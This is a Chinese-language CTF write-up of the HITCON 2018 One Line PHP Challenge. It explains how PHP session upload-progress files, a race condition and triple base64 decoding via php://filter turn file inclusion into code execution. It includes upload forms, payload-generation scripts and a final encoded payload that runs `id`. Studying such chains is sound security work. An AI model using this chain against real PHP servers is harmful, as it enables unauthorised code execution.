hitcon2018 One Line PHP Challenge
題目相當簡單,就一句話
($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);
可以看到需要一個檔案以 @<?php
開頭的檔案,然後就可以進行檔案包含。
環境以及配置都是預設的 Ubuntu18.04+Apache2+PHP7.2
不考慮0day的情況下。這裡檔名是可以完全控制的,就需要想到各種協議流以及php的偽協議。
這樣,或許可以利用偽協議的方式來控制檔案頭。然後就是尋找我們可以控制的檔案。
php裡預設可以由使用者控制的檔案就只有幾個
- 臨時上傳檔案
- session檔案
臨時上傳檔案由 /tmp/php[a-zA-z0-9]{6}
形式組成,在有phpinfo頁面的時候可以進行檔案包含
ofollow,noindex">https://www.kingkk.com/2018/07/phpinfo-with-LFI/
這裡顯然沒有這個phpinfo頁面,暴力破解的可能性約等於零。
然後就是session檔案,這裡沒有開啟session,也沒有可以控制的session欄位。
所以session檔案也是無法控制的(對不起,是我不可以,但是orange可以
session.upload
之前N1ctf的時候出現過的一個非預期解
https://xz.aliyun.com/t/2148#toc-2
在phpinfo中有幾個配置
這個配置是在預設情況下開啟的。
他的出現本是為了顯示檔案在上傳時候的進度,以顯示檔案上傳的資訊。
這個資訊是儲存在使用者的 $_SESSION
中的,而session則是以檔案的形式儲存在預設的路徑下的。
可以看到預設的檔案路徑是 /var/lib/php/sessions
這裡有個小trick就是,這個session檔案並不一定要 session_start
才能生成,只要往伺服器傳送一個 Cookie: PHPSESSID=xxx
的值,然後用session upload的方式進行上傳檔案,就會生成這樣一個session檔案
由於檔案上傳的速度比較快,有時候經常來不及看到儲存在session檔案中的upload資訊,就會被刪除。我們可以上傳一個相對比較大的檔案,並且條件競爭的方式,來先看一下儲存在session中的檔案內容。
這裡構造了一個這樣的表單,upload.php
<form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /> </form> <?php session_start(); $name = ini_get('session.upload_progress.name'); $key = ini_get('session.upload_progress.prefix') . $_POST[$name]; var_dump($_SESSION[$key]); include '/var/lib/php/sessions/sess_kingkk';
加上任意的 PHPSESSID
,上傳兩個相對稍大的檔案,這裡http報文長度有61W
然後開個多執行緒跑幾次,就能看到有些通過條件競爭,輸出了還未被刪除的 session
資訊
$_SERVER[ini_get('session.upload_progress.prefix') . $_POST[ini_get('session.upload_progress.name')]]
中儲存了一些上傳過程中的資訊
以及session檔案中的內容,可以看到就是反序列化的upload資訊
對應目錄下也確實生成了這個session檔案,但是內容卻是空的,因為檔案上傳完成後,會預設清除其中的內容。
可以看到 sess_kingkk
中有不少值是可以通過改變傳入的引數進行控制的,比如檔名、 PHP_SESSION_UPLOAD_PROGRESS
的值。從而只要插入對應的php程式碼,在存在檔案包含的時候,就可以getshell
這裡修改了檔名為php程式碼,再利用一個檔案包含的頁面包含這個session檔案
可以看到成功getshell
重新認識base64
接下來還有一個條件就是
substr(file($_)[0],0,6) === '@<?php'
但是觀察之前的session資訊,可以發現,檔案是以 upload_progress_
開始,最多控制其後的 123
部分
這時候能想到的就是利用php中的一些偽協議,進行檔案內容的修改。這個思路p神的blog中也有寫到過
https://www.leavesongs.com/PENETRATION/php-filter-magic.html#_1
就是利用 php://filter/write=convert.base64-decode/resource
的方式繞過死亡exit.
這裡需要一些base64的前置知識
base64編碼後的字串集為[0-9a-zA-Z+/=]
因而在解碼的時候遇到這個之外的字元,就會跳過那些字元。只對在此範圍內的字元進行解碼。
所以只要對前面的 upload_progress_
進行足夠多次的解密,就可以使其變成空字元
$i = 0 ; $data = "upload_progress_"; while(true){ $i += 1; $data = base64_decode($data); var_dump($data); if($data == ''){ echo "一共解碼了:".$i,"次\n"; break; } }
通過指令碼可以看到,只要三次就可以將前面的內容轉換為成空。
可是事情似乎沒有那麼簡單。由於base64是對四個字元為一組進行解碼。 upload_progress_
並不滿足三次解碼後允許字元是4的倍數,就會把後面的字元算入填充,從而破壞原有傳入的php程式碼
例如
function triple_base64_encode($str){ return base64_encode(base64_encode(base64_encode($str))); } function triple_base64_decode($str){ return base64_decode(base64_decode(base64_decode($str))); } $i = 0 ; $data = "upload_progress_".triple_base64_encode("<?=\`id\`;>"); echo triple_base64_decode($data);
解碼之後的資料是 ?
然而解密 "upload_progress_ZZ".triple_base64_encode("<?=\
id`;>”) 解碼之後就是
<?=`id`;>`
就是由於 upload_progress_ZZ
在三次的解碼中,第一次解碼後留下了四個允許字元 hikY
,第二次解碼沒有允許字元,第三次就變成了空。
在這三次中,都是允許字元的數量都是4的倍數,這樣就不會破壞後面傳入的php程式碼。
隊友寫的一個指令碼
<?php $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"; while(true) { $i = 0 ; $data = "upload_progress_".substr(str_shuffle($str),10,2); $s = base64_decode($data); $s_length = strlen(preg_replace('|[^a-z0-9A-Z+/]|s', '', $s)); $ss = base64_decode($s); $ss_length = strlen(preg_replace('|[^a-z0-9A-Z+/]|s', '', $ss)); $sss = base64_decode($ss); if($s_length%4==0 && $ss_length%4==0 && $sss=='') { echo $data; break; } }
對於後面的php程式碼,也有一個要求,就是三次解密中都不能出現 =
,因為base64中 =
只能放在編碼的最後補位,出現在中間的話, php://filter/convert.base64-decode
流就無法正常解析,就會報錯。
對此oragne師傅寫了個指令碼生成這玩意
import string from base64 import b64encode from random import sample, randint payload = '@<?php echo `id`;?>' while 1: junk = ''.join(sample(string.ascii_letters, randint(8, 16))) x = b64encode(payload + junk) xx = b64encode(b64encode(payload + junk)) xxx = b64encode(b64encode(b64encode(payload + junk))) if '=' not in x and '=' not in xx and '=' not in xxx: print xxx break
VVVSM0wyTkhhSGRKUjFacVlVYzRaMWxIYkd0WlJITXZVRzVvZFdFeFZuUlZSVTVw
成功getshell
最後
學到的東西相當多了。膜orange
順帶說一句,貌似php中的 base64_decode
類似於網上的一些線上指令碼之類的解密,會對資料進行一些優化,直觀的感受就是,用解密一些省略了 =
的字元也可以順利解密,然而用hackbar之類的工具就會直接返回空。
php偽協議中的 php://filter/convert.base64-decode
類似於hackbar這種,對資料校驗較為嚴格,所以有時候用php的 base_64decode
之後發現是可見字元,可實際包含的時候卻會報錯。